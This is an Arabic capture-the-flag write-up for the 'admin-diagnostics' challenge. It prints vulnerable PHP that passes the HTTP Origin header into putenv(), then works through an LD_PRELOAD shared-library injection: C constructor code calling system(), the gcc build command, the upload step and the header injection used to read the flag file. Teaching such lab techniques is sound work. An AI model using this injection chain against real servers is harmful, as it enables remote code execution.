Admin Diagnostics Write-up

شرح حل تحدي admin-diagnostics

 

التحدي: admin-diagnostics

مستوى التحدي: متوسط

بواسطة: wes4m

 

ملاحظات مُهمة جدًا قبل أن تكمل قراءة المقالة!

·      في حال لم تبدأ بحل التحدي:

o     التحدي يستحق المحاولة! ؛ في كل مرحلة منه ستواجه أمور تستدعي منك البحث عنها وفهمها حتى تتجاوزها، باختصار ستُنهي حل التحدي بمعرفة جيدة حول بعض الأشياء التي رُبما كنت تجهلها، فلا تفوّت فرصة التعلّم و "حاول" أن تقوم بحله قبل الاطلاع على الحل.

·      في حال بدأت في حله لكن توقفت عند مرحلة معينة:

o     سأقوم بوضع بعض الـ Hint  قبل شرح أي مرحلة في التحدي، اطلع عليها في حال احتجت المساعدة ثم انطلق من بعدها 

·      مهارات/أدوات تحتاجها لحل التحدي (حسب الطريقة التي اتبعتها):

o     PHP

o     C

o     التعامل مع   Burp Suite

أو أي أداة تؤدي نفس الغرض

o     صبر تربيع

o     كوبين قهوة

 

 

 بسم الله نبدأ،

بعد الدخول على صفحة التحدي، نجد هذه الصفحة ( اضغط على الصور لعرضها بحجمها الأصلي):

https://raw.githubusercontent.com/0xb1tByte/0xb1tbyte.github.io/master/assets/media/write-up/1.png 

 

 

 

 

 

 

 

 

 

 

نلاحظ أن الصفحة تقترح علينا إدخال الأمر:  source لمعرفة الكود المصدري ، نُدخل الأمر

https://raw.githubusercontent.com/0xb1tByte/0xb1tbyte.github.io/master/assets/media/write-up/2.png 

 

 

 

 

 

 

 

 

 

 

بعد إرسال الأمر سنجد كُود الـ PHP  التالي:

<?php

    session_start();

    include('funcs.php');

    if(!isset($_SESSION["dir"])) {

        $tmpDir = "./tmp/" . random_string(32);

        mkdir($tmpDir);

        $_SESSION["dir"] = $tmpDir;

    }

    function enable_diagnostics() {

        putenv("{$_SERVER['HTTP_ORIGIN']}_ENABLE_DIAGNOSTICS=1");

    }

    $command = $_GET['command'] . " ";

    if(isset($command)) {

        $c = explode(" ", $command);

        switch ($c[0]) {

        case "info":

            echo nl2br("\nYour IP: " . $_SERVER['REMOTE_ADDR']);

            echo nl2br("\nYour Tempdir: " . $_SESSION["dir"]);

            break;

        case "diag":

            enable_diagnostics();

            echo nl2br(shell_exec_getresults("./dig"));

            break;

        case "download":

            $data = file_get_contents($c[1]);

            file_put_contents( $_SESSION['dir'] . "/" . basename($c[2]), $data);

            echo "Downloaded file to " . $_SESSION["dir"] . "/" . basename($c[2]);

            break;

        case "list":

            listDir($_SESSION["dir"]);           

            break;

        case "destroy":

            session_destroy();

            break;

        case "source":

            highlight_file(__file__);

            break;

        }

    }   

?>

  

HINT #1

حاول أن تفهم عمل الدالة enable_diagnostics

 

 

 

 

 

 

 

 

 

 

 

 

 

·      ماذا تفعل الدالة enable_diagnostics() بإختصار؟

o     تقوم بنداء الدالة putenv()  والتي تقوم بدورها بإسناد قيمة لمتغير ما

o     اطلع على هذا المرجع لفهم عمل الدالة:

https://www.php.net/manual/en/function.putenv.php  

 

 

بعد الاطلاع على المرجع السابق، يبدو بأن الدالة تقوم بإسناد قيمة لــ environment variable

وبعد تحليل الـ Parameter التي تُمرر للدالة، نلاحظ أنه يوجد Parameter  نستطيع تمرير قيمة له ، عن طريق الـ Origin  في الـ HTTP Request  

 نتوقف هنا للحظة؟ ألا تبدو بأنها ثغرة Shellshock ؟

من هنا بدأت أختبر إسناد قيم للمتغير PATH  ، لكن للأسف جميع المحاولات لم تُجدي ،

لذلك بدأت بالبحث عن متغيرات أخرى من الممكن استغلالها،

وفي هذه المرحلة العملية كانت عن محاولات عدة لحقن متغيرات مختلفة ومراقبة ما يحدث بعد ذلك،

 

https://raw.githubusercontent.com/0xb1tByte/0xb1tbyte.github.io/master/assets/media/write-up/5.png 

 

 

 

 

 

 

 

 

 

 

 

 

 

المتغيرات التي قمت بإختبارها لم تجدي حتى وصلت للمتغير....

 

HINT #2

أقرأ عن المتغير: LD_PREALOAD

  

 

 

 

 

 

 

 

 

 

 

 

 

·      ماهو المتغير LD_PREALOAD بإختصار؟

o     خلال مرحلة الـ Linking  لإنتاج البرنامج ، الـ Linux Dynamic Linker  يبحث في مسارات معينة عن الـ   Library Functions         

التي يستخدمها البرنامج ، المستخدم يستطيع إضافة مسارات أخرى يبحث فيها الـ Linker  ، كيف ؟ عن طريق هذا المتغير. 

o     اطلع على هذا المرجع لفهمه أكثر:

http://man7.org/linux/man-pages/man8/ld.so.8.html

 

بعد فهم طبيعة عمل المتغير السابق، نستطيع القول بأننا سنبدأ العمل الآن على: Injecting a shared library

وقبل البدء لنقوم بتلخيص الخطوات والأمور التي سنحتاجها

١ - سنقوم بإنشاء Shared Object   خاص بنا ونضع به التعليمات التي نريد تنفيذها عندما يتم تحميل الـ Shared  Object  وقت تنفيذ البرنامج

٢ - سنحتاج لوسيلة تتيح لنا رفع هذا الـ Shared Object   على الـ Server   ومن ثم الحصول على المسار الخاص به

٣ - سنحتاج أن نكتب قيمة المسار السابق في المتغير LD_PRELOAD     ومن ثم سنحتاج أن يتم تنفيذ البرنامج لكي يتم تحميل الـ.    Shared Object

 

 لنبدأ الآن في كل خطوة على حدى،

 

١ - إنشاء الـ Shared Object

قمت في البداية بكتابة هذا الكود البسيط بـ C  

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void __attribute__((constructor)) command();

void command (void) {

system("ls");

system("pwd");

system("whoami");

{

 

·      ملحوظة مهمة جدًا وخطأ وقعت به:

o     ملفات الـ .so   لا تحتوي على الـ main function  

( وهذا شيء منطقي لأن البرنامج بنفسه يحتويها)

فكيف نحل هذه المشكلة؟ عن طريق الـ Constructor  

o     هنا تجد مرجع ممتاز:

https://www.geeksforgeeks.org/__attribute__constructor-__attribute__destructor-syntaxes-c/

 

بعد كتابة كود الـ C  ، نحتاج أن ننشئ ملف الـ .so  ، هذه التعليمة تؤدي الغرض:

gcc -fPIC -shared -o OutputFile.so fileName.c -nostartfiles

 

 

٢ - رفع ملف الـ .so    على    الـ Server

بعد العودة للكود المصدري الخاص بالـ PHP  نجد أنه بإمكاننا الرفع عن طريق إرسال الأمر Download  متبوعًا بـ URL  خاص بالملف الذي نريد رفعه على الـ Server  ، ثم اسم الملف ، أي كالآتي :

Download FileURL FileName

نقوم بعملية الرفع

 

https://raw.githubusercontent.com/0xb1tByte/0xb1tbyte.github.io/master/assets/media/write-up/3.png 

 

 

 

 

بعد رفع الملف ، نلاحظ بأن الـ Server  أخبرنا بمكان الرفع ، وهذا يقودنا للخطوة التالية

 

٣ - حقن المتغير LD_PRELOAD

 نأخذ المسار الذي أخبرنا به الـ Server  ونقوم بحقنه في المتغير كالآتي:

 

https://raw.githubusercontent.com/0xb1tByte/0xb1tbyte.github.io/master/assets/media/write-up/4.png

 

 

 

 

 

·      ملاحظة تخص الحقن:

o     قمنا بإضافة : في آخر المسار حتى تقطع الجزء الإضافي والذي هو:

_ENABLE_DIAGNOSTICS=1 

بعد حقن المتغير بالمسار نلاحظ بأن البرنامج استخدم الـ Shared Object    الذي قمنا برفعه!

لكن نحتاج الآن قراءة محتوى الملف الآتي حتى نحصل على الـ FLAG  :

_flag_943yr93h8u2jfhh93hf34j.TTxTT

 

نقوم بالتعديل على ملف الـ C  ونعيد عمل الخطوات من ١ - ٣

ملف الـ C  النهائي:

 

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void __attribute__((constructor)) command();

void command (void) {

system("ls");

system("pwd");

system("whoami");

system("cat _flag_943yr93h8u2jfhh93hf34j.TTxTT");

}

 

 

ونحصل على النتيجة النهائية:

https://raw.githubusercontent.com/0xb1tByte/0xb1tbyte.github.io/master/assets/media/write-up/6.png